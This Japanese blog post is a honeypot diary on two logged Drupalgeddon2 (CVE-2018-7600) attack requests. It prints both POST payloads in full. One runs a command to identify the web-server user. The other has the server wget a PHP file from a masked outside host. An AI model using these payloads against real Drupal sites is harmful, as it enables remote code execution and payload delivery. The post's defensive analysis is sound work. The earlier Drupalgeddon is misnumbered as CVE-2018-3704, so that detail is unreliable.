ハニーポット観測日記「Drupalで任意のコードが実行可能な脆弱性を狙った攻撃」

2018年5月12日

今巷を賑わせている,Drupalで任意のコードが実行可能な脆弱性(CVE-2018-7600)を利用した攻撃を,最近運用を始めたWOWHoneypotで観測しました.

とはいっても,現時点(4/29)で攻撃が来たのは2018年4月25日に1回のみとなっております.より多様な攻撃パターンを分析したいのですが,ログ収集が思うようにいかずまだまだ技術力不足を感じます^^;

(追記:2018-05-12)別のパターンのログを観測したので,そちらも掲載しておきました.

脆弱性の概要

Drupalで任意のコードが実行可能な脆弱性(CVE-2018-7600)とは,オープンソースのCMSであるDrupalに存在している脆弱性で,2018年4月12日にPoCが公開されました.本脆弱性を悪用した攻撃を受けた場合,第三者によって遠隔から,Webサーバの動作権限にて任意のコードを実行されてしまう可能性があります.

ちなみに2014年10月に発見された,危険度の高い脆弱性「Drupalgeddon」(CVE-2018-3704)に続く脆弱性として「Drupalgeddon2」と呼ばれているそうです.

この脆弱性のPoCには,Drupal7.x系とDrupal8.x系それぞれが存在しており,対象のバージョンによって攻撃手法が若干異なります.今回観測したのはDrupal8.x系に対する攻撃でした.

観測したWOWHoneypotのログ

実際に観測したWOWHoneypotに対するリクエスト内容を以下に示します.

観測したログパターン1

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: ***.***.***.***:80
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 169
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

_drupal_ajax=1&_drupal_ajax=1&form_id=user_register_form&mail[#markup]=echo+Name:+$(id+-u+-n)+&mail[#post_render][]=exec&mail[#type]=markup

※見やすくするためにデコード処理をしています.また一部情報を伏せています.

このリクエスト内容で重要な部分はecho+Name:+$(id+-u+-n)です.もしこの攻撃が成功した場合,$ echo Name: $(id -u -n)がWebサーバの動作権限にて実行されてしまいます.この場合はレスポンスとして,Webサーバを実行しているユーザ名が返ってきます.

この攻撃は,対象がDrupalで脆弱性のあるバージョンかどうかの調査活動だと考えています.もしレスポンスにユーザ名が返ってきた場合,実害の発生するような本攻撃のリクエストが送られてくるのだと思います.

観測したログパターン2

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: ***.***.***.***:80
Content-Type: application/x-www-form-urlencoded
Content-length: 170

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=wget http://***.***.***.***/drupal.php

※見やすくするためにデコード処理をしています.また一部情報を伏せています.

このリクエスト内容の場合,$ wget http://***.***.***.***/drupal.phpがWebサーバの動作権限にて実行されてしまいます.

アクセス先のdrupal.phpをダウンロードしようとしていることは分かるのですが,ログ分析時にはhttp://***.***.***.***/drupal.phpからの応答がなかったためどのようなファイルだったのかはわかりませんでした.

おわりに

今回の脆弱性の影響範囲は以下のとおりです.

  • Drupal 7.58 より前のバージョン
  • Drupal 8.5.1 より前のバージョン

すでに脆弱性を修正したセキュリティアップデートがリリースされているので,最新の状態にアップデートしておくことで,攻撃を未然に防ぐことが可能となります.

現段階では実際に被害をもたらす本攻撃を観測できていません.本攻撃を分析するために,WOWHoneypotのシグネチャを編集にも力を入れていきたいです.

参考文献

https://www.mbsd.jp/Whitepaper/CVE-2018-7600.pdf